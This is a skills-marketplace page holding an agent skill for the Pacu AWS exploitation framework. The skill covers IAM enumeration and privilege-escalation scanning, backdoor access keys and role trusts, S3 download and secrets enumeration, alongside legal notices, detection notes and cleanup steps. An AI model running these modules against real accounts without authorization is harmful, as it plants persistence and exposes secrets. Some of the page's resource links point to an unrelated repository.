[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AEMXMM2XFPKV0DQY7WK2ZA":3,"skill-same:01M6AEMXMM2XFPKV0DQY7WK2ZA":119},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":26,"publishedAt":47,"linkOnly":48,"markdownContent":49,"markdownBody":50,"frontMatter":51,"refName":62,"commitSha":63,"skillDirectory":64,"forksCount":65,"repositoryHtmlUrl":66,"repositoryHomepageUrl":67,"ownerHtmlUrl":68,"ownerBlogUrl":69,"ownerDescription":70,"updatedAt":71,"install":72,"resources":85},"01M6AEMXMM2XFPKV0DQY7WK2ZA","exploiting-aws-with-pacu",null,"Runs the Pacu AWS exploitation framework end-to-end — session and credential setup, IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan, and persistence\u002Fbackdooring modules like iam__backdoor_users_keys. Use for authorized AWS penetration tests or red-team engagements, assessing blast radius from a compromised IAM credential, or generating attacker telemetry for purple-team detection testing.","mukul975\u002FAnthropic-Cybersecurity-Skills","mukul975","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F42860185?v=4","01M6ADEQR8T5M4EEG6C67BQCWF","Mahipal","01M6ADJPMYWG1E5GM1FWBE3128",35990,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002FSKILL.md",[18,23],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",[27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46],"aws","exploiting aws with pacu","iam","security","iam-abuse","pacu","t1078","enumeration","exploitation","purple-team","escalation","cybersecurity","testing","cloud-security","privilege-escalation","red-team","framework","blast radius","pr","telemetry","2026-11-10 10:12:30",false,"---\nname: exploiting-aws-with-pacu\ndescription: >-\n  Runs the Pacu AWS exploitation framework end-to-end — session and credential setup,\n  IAM enumeration, automated privilege-escalation scanning via iam__privesc_scan,\n  and persistence\u002Fbackdooring modules like iam__backdoor_users_keys. Use for\n  authorized AWS penetration tests or red-team engagements, assessing blast radius\n  from a compromised IAM credential, or generating attacker telemetry for purple-team\n  detection testing.\ndomain: cybersecurity\nsubdomain: cloud-security\ntags:\n- pacu\n- aws\n- cloud-pentest\n- privilege-escalation\n- persistence\n- iam-abuse\n- offensive-security\n- red-team\nversion: '1.0'\nauthor: mahipal\nlicense: Apache-2.0\nnist_csf:\n- PR.AA-05\nmitre_attack:\n- T1078.004\n---\n# Exploiting AWS with Pacu\n\n> **Legal Notice:** This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope\u002FRules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.\n\n## Overview\n\nPacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence\u002Fbackdooring\u002Fexfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.\n\nA Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with `set_keys` or by importing from `~\u002F.aws\u002Fcredentials`), confirm the identity with `whoami`, then enumerate IAM and the rest of the account. The flagship workflow is `iam__enum_permissions` followed by `iam__privesc_scan`, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. `iam:CreatePolicyVersion`, `iam:AttachUserPolicy`, `iam:PassRole` + `lambda:CreateFunction`, `sts:AssumeRole`) and can auto-exploit them. Persistence modules such as `iam__backdoor_users_keys` mint a second access key on an existing user, and `iam__backdoor_assume_role` adds a trust to a role so the attacker can assume it later.\n\nThis skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence\u002Fbackdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com\u002FRhinoSecurityLabs\u002Fpacu.\n\n## When to Use\n\n- Conducting an authorized AWS cloud penetration test or red-team engagement\n- Assessing the blast radius of a single compromised IAM credential (privesc scanning)\n- Demonstrating persistence\u002Fbackdoor techniques to drive remediation\n- Generating realistic attacker telemetry to test cloud detections (purple team)\n- Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure\n\n## Prerequisites\n\n- Pacu installed:\n  ```bash\n  python3 -m pip install -U pip\n  python3 -m pip install -U pacu     # then run: pacu\n  # or, preferred on Kali, with pipx:\n  pipx install git+https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu.git\n  # or Docker:\n  docker run -it rhinosecuritylabs\u002Fpacu:latest\n  ```\n- AWS access key\u002Fsecret (and optional session token) for the in-scope target principal\n- A signed authorization \u002F Rules of Engagement document defining scope\n- Python 3.9+ and outbound HTTPS to AWS API endpoints\n- AWS CLI installed for verification (`aws sts get-caller-identity`)\n\n## Objectives\n\n- Install Pacu and create an isolated engagement session\n- Load and validate target AWS credentials\n- Enumerate IAM permissions for the compromised principal\n- Identify and (where authorized) exploit privilege-escalation paths\n- Establish persistence via backdoor access keys and role trusts\n- Enumerate and access data in EC2, S3, and Secrets Manager\n- Export findings for reporting and ensure all artifacts are removed\n\n## MITRE ATT&CK Mapping\n\n| ID | Name | Use in this skill |\n|----|------|-------------------|\n| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |\n| T1098.001 | Account Manipulation: Additional Cloud Credentials | `iam__backdoor_users_keys` mints a second access key |\n| T1098.003 | Account Manipulation: Additional Cloud Roles | `iam__backdoor_assume_role` \u002F privesc via role policy changes |\n| T1580 | Cloud Infrastructure Discovery | `ec2__enum`, `iam__enum_users_roles_policies_groups` |\n| T1530 | Data from Cloud Storage | `s3__download_bucket` retrieves S3 objects |\n| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |\n\n## Workflow\n\n### 1. Launch Pacu and create a session\n```bash\npacu\n# In the Pacu console:\nPacu> set_keys\n#   key alias  : engagement-target\n#   access key : AKIA...\n#   secret key : ...\n#   session tok: (optional)\n```\n\n### 2. Confirm the identity you are operating as\n```text\nPacu> whoami\nPacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity\n```\n\n### 3. Enumerate IAM entities and the compromised principal's permissions\n```text\nPacu> run iam__enum_users_roles_policies_groups\nPacu> run iam__enum_permissions\nPacu> data IAM            # review what was collected into the session DB\n```\n\n### 4. Scan for privilege-escalation paths\n`iam__privesc_scan` checks the principal against known AWS privesc primitives and lists viable methods.\n```text\nPacu> run iam__privesc_scan\n# To attempt automated exploitation of a discovered method:\nPacu> run iam__privesc_scan --offline      # analyze without making changes\n```\n\n### 5. Establish persistence with a backdoor access key\n```text\nPacu> run iam__backdoor_users_keys --usernames target-user\n# Add an assumable-role trust for long-term access:\nPacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user\u002Fattacker\n```\n\n### 6. Enumerate compute and storage\n```text\nPacu> run ec2__enum\nPacu> run s3__download_bucket --names target-bucket\nPacu> data S3\n```\n\n### 7. Harvest secrets\n```text\nPacu> run secrets__enum\n```\n\n### 8. Non-interactive execution (CI \u002F scripted)\nPacu supports one-shot module execution from the shell.\n```bash\npacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec\npacu --session engagement --module-name s3__download_bucket \\\n     --module-args \"--names target-bucket\" --exec\n```\n\n### 9. Export findings and clean up\n```text\nPacu> data all > \u002Fdev\u002Fstdout         # review collected data\n# Manually remove every backdoor created (record ARNs\u002Fkey IDs first):\n```\n```bash\naws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR\naws iam update-assume-role-policy --role-name target-role --policy-document file:\u002F\u002Foriginal-trust.json\n```\nSee `scripts\u002Fagent.py` to drive the enumerate->privesc flow non-interactively.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Pacu GitHub | Source, modules, wiki | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu |\n| Pacu module list | Per-module documentation | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu\u002Fwiki\u002FModule-Details |\n| Rhino AWS privesc research | The privesc primitives `iam__privesc_scan` checks | https:\u002F\u002Frhinosecuritylabs.com\u002Faws\u002Faws-privilege-escalation-methods-mitigation\u002F |\n| AWS IAM docs | Permission and policy reference | https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002F |\n| CloudGoat | Vulnerable AWS lab to practice safely | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fcloudgoat |\n\n## OPSEC and Detection Considerations\n\nPacu modules are noisy and durable; an operator must plan for both detection and cleanup:\n\n- `iam__enum_permissions` and `iam__enum_users_roles_policies_groups` generate a large\n  burst of `iam:List*`\u002F`iam:Get*` calls visible in CloudTrail and GuardDuty\n  (`Discovery:IAMUser\u002FAnomalousBehavior`).\n- `iam__privesc_scan` in non-offline mode can make state-changing calls\n  (`iam:CreatePolicyVersion`, `iam:AttachUserPolicy`); use `--offline` for analysis only.\n- `iam__backdoor_users_keys` triggers `iam:CreateAccessKey`, and\n  `iam__backdoor_assume_role` triggers `iam:UpdateAssumeRolePolicy` — both are\n  high-signal persistence indicators that defenders alert on.\n- Record every artifact ID (access keys, policy versions, role-trust changes) so each\n  can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.\n\n## Defensive Mitigations to Recommend\n\n| Finding | Remediation |\n|---------|-------------|\n| Over-permissive IAM principal (privesc path) | Apply least privilege; scope `iam:PassRole` with conditions |\n| `iam:CreatePolicyVersion` \u002F `SetDefaultPolicyVersion` allowed | Remove from non-admin roles |\n| Long-lived access keys | Enforce key rotation; prefer roles \u002F short-lived STS creds |\n| No detection on key creation | Alert on `CreateAccessKey` \u002F `UpdateAssumeRolePolicy` in CloudTrail |\n\n## Key Module Reference\n\n| Module | Purpose |\n|--------|---------|\n| `iam__enum_users_roles_policies_groups` | Enumerate all IAM principals and policies |\n| `iam__enum_permissions` | Resolve the current principal's effective permissions |\n| `iam__privesc_scan` | Identify (and optionally exploit) privesc paths |\n| `iam__backdoor_users_keys` | Create a backdoor access key on a user |\n| `iam__backdoor_assume_role` | Add an attacker-controlled trust to a role |\n| `ec2__enum` | Enumerate EC2 instances, volumes, snapshots |\n| `s3__download_bucket` | Download objects from an S3 bucket |\n| `secrets__enum` | Enumerate Secrets Manager \u002F SSM parameters |\n\n## Validation Criteria\n\n- [ ] Pacu installed and console launches\n- [ ] Engagement session created and keys loaded\n- [ ] Identity confirmed with `whoami` \u002F `sts get-caller-identity`\n- [ ] IAM entities and current-principal permissions enumerated\n- [ ] `iam__privesc_scan` run and viable paths documented\n- [ ] Persistence module behavior demonstrated (in authorized scope)\n- [ ] EC2\u002FS3\u002Fsecrets enumeration completed\n- [ ] All created backdoors (keys, role trusts, policies) recorded and removed\n- [ ] Findings exported for the engagement report\n- [ ] No residual attacker artifacts remain in the account\n","# Exploiting AWS with Pacu\n\n> **Legal Notice:** This skill is for authorized penetration testing and educational purposes only. Pacu performs active enumeration, privilege escalation, persistence, and backdooring against live AWS accounts. Run it ONLY against accounts you own or have explicit written authorization (scope\u002FRules of Engagement) to test. Many modules create durable changes (new IAM users, access keys, policies); track and remove everything. Unauthorized use is illegal under the CFAA and equivalent laws.\n\n## Overview\n\nPacu is the open-source AWS exploitation framework from Rhino Security Labs. It is the cloud-pentest analogue of Metasploit: a modular Python console that manages target sessions, enumerates an AWS account, identifies privilege-escalation paths, and executes persistence\u002Fbackdooring\u002Fexfiltration modules — all backed by a local SQLite database that records every enumerated resource so modules can chain off one another's findings.\n\nA Pacu engagement follows a consistent arc. You create a named session, load AWS keys (with `set_keys` or by importing from `~\u002F.aws\u002Fcredentials`), confirm the identity with `whoami`, then enumerate IAM and the rest of the account. The flagship workflow is `iam__enum_permissions` followed by `iam__privesc_scan`, which checks the compromised principal against ~20 known AWS IAM privilege-escalation primitives (e.g. `iam:CreatePolicyVersion`, `iam:AttachUserPolicy`, `iam:PassRole` + `lambda:CreateFunction`, `sts:AssumeRole`) and can auto-exploit them. Persistence modules such as `iam__backdoor_users_keys` mint a second access key on an existing user, and `iam__backdoor_assume_role` adds a trust to a role so the attacker can assume it later.\n\nThis skill covers installing Pacu, session and credential management, IAM enumeration, automated privilege-escalation scanning and exploitation, persistence\u002Fbackdooring, and data access — every command and module name verified against the Rhino Security Labs project. Source: github.com\u002FRhinoSecurityLabs\u002Fpacu.\n\n## When to Use\n\n- Conducting an authorized AWS cloud penetration test or red-team engagement\n- Assessing the blast radius of a single compromised IAM credential (privesc scanning)\n- Demonstrating persistence\u002Fbackdoor techniques to drive remediation\n- Generating realistic attacker telemetry to test cloud detections (purple team)\n- Mapping an unfamiliar AWS account's IAM, EC2, S3, and Lambda exposure\n\n## Prerequisites\n\n- Pacu installed:\n  ```bash\n  python3 -m pip install -U pip\n  python3 -m pip install -U pacu     # then run: pacu\n  # or, preferred on Kali, with pipx:\n  pipx install git+https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu.git\n  # or Docker:\n  docker run -it rhinosecuritylabs\u002Fpacu:latest\n  ```\n- AWS access key\u002Fsecret (and optional session token) for the in-scope target principal\n- A signed authorization \u002F Rules of Engagement document defining scope\n- Python 3.9+ and outbound HTTPS to AWS API endpoints\n- AWS CLI installed for verification (`aws sts get-caller-identity`)\n\n## Objectives\n\n- Install Pacu and create an isolated engagement session\n- Load and validate target AWS credentials\n- Enumerate IAM permissions for the compromised principal\n- Identify and (where authorized) exploit privilege-escalation paths\n- Establish persistence via backdoor access keys and role trusts\n- Enumerate and access data in EC2, S3, and Secrets Manager\n- Export findings for reporting and ensure all artifacts are removed\n\n## MITRE ATT&CK Mapping\n\n| ID | Name | Use in this skill |\n|----|------|-------------------|\n| T1078.004 | Valid Accounts: Cloud Accounts | Pacu operates as a valid AWS principal and abuses its permissions |\n| T1098.001 | Account Manipulation: Additional Cloud Credentials | `iam__backdoor_users_keys` mints a second access key |\n| T1098.003 | Account Manipulation: Additional Cloud Roles | `iam__backdoor_assume_role` \u002F privesc via role policy changes |\n| T1580 | Cloud Infrastructure Discovery | `ec2__enum`, `iam__enum_users_roles_policies_groups` |\n| T1530 | Data from Cloud Storage | `s3__download_bucket` retrieves S3 objects |\n| T1552.005 | Unsecured Credentials: Cloud Instance Metadata API | EC2 IMDS credential abuse |\n\n## Workflow\n\n### 1. Launch Pacu and create a session\n```bash\npacu\n# In the Pacu console:\nPacu> set_keys\n#   key alias  : engagement-target\n#   access key : AKIA...\n#   secret key : ...\n#   session tok: (optional)\n```\n\n### 2. Confirm the identity you are operating as\n```text\nPacu> whoami\nPacu> run aws sts get-caller-identity     # or, outside Pacu: aws sts get-caller-identity\n```\n\n### 3. Enumerate IAM entities and the compromised principal's permissions\n```text\nPacu> run iam__enum_users_roles_policies_groups\nPacu> run iam__enum_permissions\nPacu> data IAM            # review what was collected into the session DB\n```\n\n### 4. Scan for privilege-escalation paths\n`iam__privesc_scan` checks the principal against known AWS privesc primitives and lists viable methods.\n```text\nPacu> run iam__privesc_scan\n# To attempt automated exploitation of a discovered method:\nPacu> run iam__privesc_scan --offline      # analyze without making changes\n```\n\n### 5. Establish persistence with a backdoor access key\n```text\nPacu> run iam__backdoor_users_keys --usernames target-user\n# Add an assumable-role trust for long-term access:\nPacu> run iam__backdoor_assume_role --role-names target-role --user-arns arn:aws:iam::111122223333:user\u002Fattacker\n```\n\n### 6. Enumerate compute and storage\n```text\nPacu> run ec2__enum\nPacu> run s3__download_bucket --names target-bucket\nPacu> data S3\n```\n\n### 7. Harvest secrets\n```text\nPacu> run secrets__enum\n```\n\n### 8. Non-interactive execution (CI \u002F scripted)\nPacu supports one-shot module execution from the shell.\n```bash\npacu --session engagement --module-name iam__enum_users_roles_policies_groups --exec\npacu --session engagement --module-name s3__download_bucket \\\n     --module-args \"--names target-bucket\" --exec\n```\n\n### 9. Export findings and clean up\n```text\nPacu> data all > \u002Fdev\u002Fstdout         # review collected data\n# Manually remove every backdoor created (record ARNs\u002Fkey IDs first):\n```\n```bash\naws iam delete-access-key --user-name target-user --access-key-id AKIA_BACKDOOR\naws iam update-assume-role-policy --role-name target-role --policy-document file:\u002F\u002Foriginal-trust.json\n```\nSee `scripts\u002Fagent.py` to drive the enumerate->privesc flow non-interactively.\n\n## Tools and Resources\n\n| Resource | Purpose | Link |\n|----------|---------|------|\n| Pacu GitHub | Source, modules, wiki | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu |\n| Pacu module list | Per-module documentation | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fpacu\u002Fwiki\u002FModule-Details |\n| Rhino AWS privesc research | The privesc primitives `iam__privesc_scan` checks | https:\u002F\u002Frhinosecuritylabs.com\u002Faws\u002Faws-privilege-escalation-methods-mitigation\u002F |\n| AWS IAM docs | Permission and policy reference | https:\u002F\u002Fdocs.aws.amazon.com\u002FIAM\u002Flatest\u002FUserGuide\u002F |\n| CloudGoat | Vulnerable AWS lab to practice safely | https:\u002F\u002Fgithub.com\u002FRhinoSecurityLabs\u002Fcloudgoat |\n\n## OPSEC and Detection Considerations\n\nPacu modules are noisy and durable; an operator must plan for both detection and cleanup:\n\n- `iam__enum_permissions` and `iam__enum_users_roles_policies_groups` generate a large\n  burst of `iam:List*`\u002F`iam:Get*` calls visible in CloudTrail and GuardDuty\n  (`Discovery:IAMUser\u002FAnomalousBehavior`).\n- `iam__privesc_scan` in non-offline mode can make state-changing calls\n  (`iam:CreatePolicyVersion`, `iam:AttachUserPolicy`); use `--offline` for analysis only.\n- `iam__backdoor_users_keys` triggers `iam:CreateAccessKey`, and\n  `iam__backdoor_assume_role` triggers `iam:UpdateAssumeRolePolicy` — both are\n  high-signal persistence indicators that defenders alert on.\n- Record every artifact ID (access keys, policy versions, role-trust changes) so each\n  can be reverted; orphaned backdoors are both an OPSEC failure and a real risk to the client.\n\n## Defensive Mitigations to Recommend\n\n| Finding | Remediation |\n|---------|-------------|\n| Over-permissive IAM principal (privesc path) | Apply least privilege; scope `iam:PassRole` with conditions |\n| `iam:CreatePolicyVersion` \u002F `SetDefaultPolicyVersion` allowed | Remove from non-admin roles |\n| Long-lived access keys | Enforce key rotation; prefer roles \u002F short-lived STS creds |\n| No detection on key creation | Alert on `CreateAccessKey` \u002F `UpdateAssumeRolePolicy` in CloudTrail |\n\n## Key Module Reference\n\n| Module | Purpose |\n|--------|---------|\n| `iam__enum_users_roles_policies_groups` | Enumerate all IAM principals and policies |\n| `iam__enum_permissions` | Resolve the current principal's effective permissions |\n| `iam__privesc_scan` | Identify (and optionally exploit) privesc paths |\n| `iam__backdoor_users_keys` | Create a backdoor access key on a user |\n| `iam__backdoor_assume_role` | Add an attacker-controlled trust to a role |\n| `ec2__enum` | Enumerate EC2 instances, volumes, snapshots |\n| `s3__download_bucket` | Download objects from an S3 bucket |\n| `secrets__enum` | Enumerate Secrets Manager \u002F SSM parameters |\n\n## Validation Criteria\n\n- [ ] Pacu installed and console launches\n- [ ] Engagement session created and keys loaded\n- [ ] Identity confirmed with `whoami` \u002F `sts get-caller-identity`\n- [ ] IAM entities and current-principal permissions enumerated\n- [ ] `iam__privesc_scan` run and viable paths documented\n- [ ] Persistence module behavior demonstrated (in authorized scope)\n- [ ] EC2\u002FS3\u002Fsecrets enumeration completed\n- [ ] All created backdoors (keys, role trusts, policies) recorded and removed\n- [ ] Findings exported for the engagement report\n- [ ] No residual attacker artifacts remain in the account\n",{"name":5,"tags":52,"author":56,"domain":38,"license":15,"version":57,"nist_csf":58,"subdomain":40,"description":7,"mitre_attack":60},[32,27,53,41,54,31,55,42],"cloud-pentest","persistence","offensive-security","mahipal","1.0",[59],"PR.AA-05",[61],"T1078.004","main","54a798831d2266a3ca61ce68a7acb80b81160d57","skills\u002Fexploiting-aws-with-pacu",4395,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills","https:\u002F\u002Fmahipal.engineer\u002FAnthropic-Cybersecurity-Skills\u002F","https:\u002F\u002Fgithub.com\u002Fmukul975","Mahipal.engineer","🔐 Cybersecurity | 💻 Dev | 📷 Street Photographer\r\n🎓 MSc | 📚 Research & AI Security","2026-08-31 12:32:44",{"source":8,"skillName":5,"commands":73,"prompt":83,"zipAvailable":84},[74,77,80],{"tool":75,"command":76},"npx","npx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-aws-with-pacu",{"tool":78,"command":79},"bunx","bunx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-aws-with-pacu",{"tool":81,"command":82},"pnpm","pnpm dlx skills add mukul975\u002FAnthropic-Cybersecurity-Skills --skill exploiting-aws-with-pacu","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002FSKILL.md",true,[86,91,97,101,105,109,115],{"path":87,"resourceType":87,"resourceTypeDesc":88,"sizeBytes":89,"sourceHtmlUrl":90},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002FLICENSE",{"path":92,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":95,"sourceHtmlUrl":96},"references\u002Fapi_guide.md","REFERENCE","参考文档",12344,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmedchem\u002Freferences\u002Fapi_guide.md",{"path":98,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":99,"sourceHtmlUrl":100},"references\u002Fapi-reference.md",2529,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002Freferences\u002Fapi-reference.md",{"path":102,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":103,"sourceHtmlUrl":104},"references\u002Frules_catalog.md",12512,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmedchem\u002Freferences\u002Frules_catalog.md",{"path":106,"resourceType":93,"resourceTypeDesc":94,"sizeBytes":107,"sourceHtmlUrl":108},"references\u002Fstandards.md",1346,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002Freferences\u002Fstandards.md",{"path":110,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":113,"sourceHtmlUrl":114},"scripts\u002Fagent.py","SCRIPT","脚本",4392,"https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fexploiting-aws-with-pacu\u002Fscripts\u002Fagent.py",{"path":116,"resourceType":111,"resourceTypeDesc":112,"sizeBytes":117,"sourceHtmlUrl":118},"scripts\u002Ffilter_molecules.py",15696,"https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fscientific\u002Fmedchem\u002Fscripts\u002Ffilter_molecules.py",[120,145,169,193,219,245],{"skillNo":121,"name":122,"nameZh":6,"description":123,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":124,"categories":125,"keywords":127,"publishedAt":47},"01M6AGDM3HJXTKXX15ZZ0ZVCJ3","verifying-build-provenance-with-slsa-sigstore","Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI\u002FCD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fverifying-build-provenance-with-slsa-sigstore\u002FSKILL.md",[126],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[128,129,130,131,30,38,132,133,45,134,135,136,137,138,139,140,141,142,143,144],"sigstore","provenance","slsa","verifying build provenance with slsa sigstore","incident response","identity","code","artifacts","ci","supply-chain","pipeline","supply-chain-security","t1195","attestation","code-signing","cosign","keyless",{"skillNo":146,"name":147,"nameZh":6,"description":148,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":149,"categories":150,"keywords":152,"publishedAt":47},"01M6AGDGBPWYVZ2F11GFKJ4HZ9","validating-tpm-measured-boot-attestation","Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote\u002Ftpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware\u002Fkernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-tpm-measured-boot-attestation\u002FSKILL.md",[151],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[153,141,154,155,30,156,38,45,157,158,159,160,161,162,163,164,165,166,167,168],"boot","TPM","validating tpm measured boot attestation","policy","verification","ZeRO","firmware","Tools","measured-boot","PCR","integrity","secrets","remote-attestation","tpm2-tools","integrity-verification","trusted-computing",{"skillNo":170,"name":171,"nameZh":6,"description":172,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":173,"categories":174,"keywords":177,"publishedAt":47},"01M6AGDCW0Y4FXZ3362GT1941M","validating-backup-integrity-for-recovery","Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable\u002Fair-gapped backups for silent corruption or tampering.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Fvalidating-backup-integrity-for-recovery\u002FSKILL.md",[175,176],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[163,178,179,180,39,38,181,182,157,183,184,185,186,187,188,33,189,190,191,192],"backup","recovery","validating backup integrity for recovery","infrastructure","validation","compliance","hash-verification","incident-response","ransomware","cryptocurrency","detection","t1490","immutable","disaster-recovery","restore-testing",{"skillNo":194,"name":195,"nameZh":6,"description":196,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":197,"categories":198,"keywords":200,"publishedAt":47},"01M6AGD9GBG2KZ336AE763J3WH","triaging-windows-with-kape","Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment\u002Ftriage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.","https:\u002F\u002Fgithub.com\u002Fmukul975\u002FAnthropic-Cybersecurity-Skills\u002Fblob\u002Fmain\u002Fskills\u002Ftriaging-windows-with-kape\u002FSKILL.md",[199],{"categoryNo":24,"categoryName":25,"taxonomyType":21,"taxonomyTypeDesc":22},[201,202,203,38,204,205,206,207,208,209,210,211,212,213,214,215,160,216,217,218],"windows","kape","triaging windows with 